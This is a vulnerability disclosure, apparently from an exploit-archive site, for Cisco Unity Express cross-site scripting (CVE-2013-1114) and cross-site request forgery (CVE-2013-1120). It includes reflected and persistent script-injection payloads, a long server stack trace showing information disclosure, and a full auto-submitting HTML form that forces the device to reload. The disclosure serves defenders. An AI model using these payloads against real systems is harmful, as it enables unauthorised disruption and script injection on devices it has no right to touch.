Cisco Unity Express Multiple Vulnerabilities

2013.02.05
Credit: Jacob Holcomb
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2013-1120 | CVE-2013-1114
CWE: CWE-79
CWE-352

# Exploit Title: Cisco Unity Express Multiple Vulnerabilities # Reported: December 2012 # Disclosed: February 2013 # Author: Jacob Holcomb of Independent Security Evaluators # CVE: XSS - CVE-2013-1114 and CSRF - CVE-2013-1120 # http://infosec42.blogspot.com/2013/02/cisco-unity-express-vulnerabilites.html Cisco Advisory http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1114 http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1120 Proof of Concept XSS - CVE-2013-1114: GET: Reflective XSS & Info disclosure http://X.X.X.X/Web/SA2/ScriptList.do?gui_pagenotableData=><script>alert(42)</script> Information Disclosure Location: /Web/WEB-INF/screens/main.jsp Error Location: /Web/WEB-INF/screens/prompts/ListScripts.jsp Internal Servlet Error: javax.servlet.ServletException: invalid character at position 1 in > org.apache.jasper.runtime.PageContextImpl.handlePageException (Unknown Source) WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:2245) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source) org.apache.jasper.runtime.PageContextImpl.include (Unknown Source) WEB_0002dINF.screens.main._jspService (main.java:396) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source) org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759) org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596) com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157) org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492) javax.servlet.http.HttpServlet.service (HttpServlet.java) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.core.ContextManager.internalService (Unknown Source) org.apache.tomcat.core.ContextManager.service (Unknown Source) org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source) org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source) org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source) java.lang.Thread.run (Thread.java:777) Root cause: java.lang.NumberFormatException: invalid character at position 1 in > java.lang.Throwable. (Throwable.java:166) java.lang.Integer.parseInt (Integer.java:775) java.lang.Integer.parseInt (Integer.java:262) com.cisco.aesop.gui.taglibs.PagingTableTag.doAfterBody (PagingTableTag.java:274) WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:1903) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source) org.apache.jasper.runtime.PageContextImpl.include (Unknown Source) WEB_0002dINF.screens.main._jspService (main.java:396) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source) org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759) org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596) com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157) org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492) javax.servlet.http.HttpServlet.service (HttpServlet.java) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.core.ContextManager.internalService (Unknown Source) org.apache.tomcat.core.ContextManager.service (Unknown Source) org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source) org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source) org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source) java.lang.Thread.run (Thread.java:777) POST: Persistent XSS http://X.X.X.X/Web/SA3/AddHoliday.do POST Data: holiday.description=><script>alert(42)</script>&submitType=ADD CSRF - CVE-2013-1120: <html> <!-- # Exploit Title: Cisco Unity Express CSRF # Date: Discovered and reported December 2012 # Disclosed: February 2013 # Author: Jacob Holcomb of Independent Security Evaluators # Software: Cisco Unity Express # CVE : CVE-2013-1120 for the CSRF # Note: All the HTML forms are susceptible to forgery --> <head> <title>Reload Cisco Unity Express CSRF</title> </head> <body> <form name="CUEreload" action="http://X.X.X.X/Web/SA/SaveConfiguration.do" method="post"> <input type="hidden" name="submitType" value="RELOAD"/> </form> <script> document.CUEreload.submit(); </script> </body> </html>

References:

http://infosec42.blogspot.com/2013/02/cisco-unity-express-vulnerabilites.html


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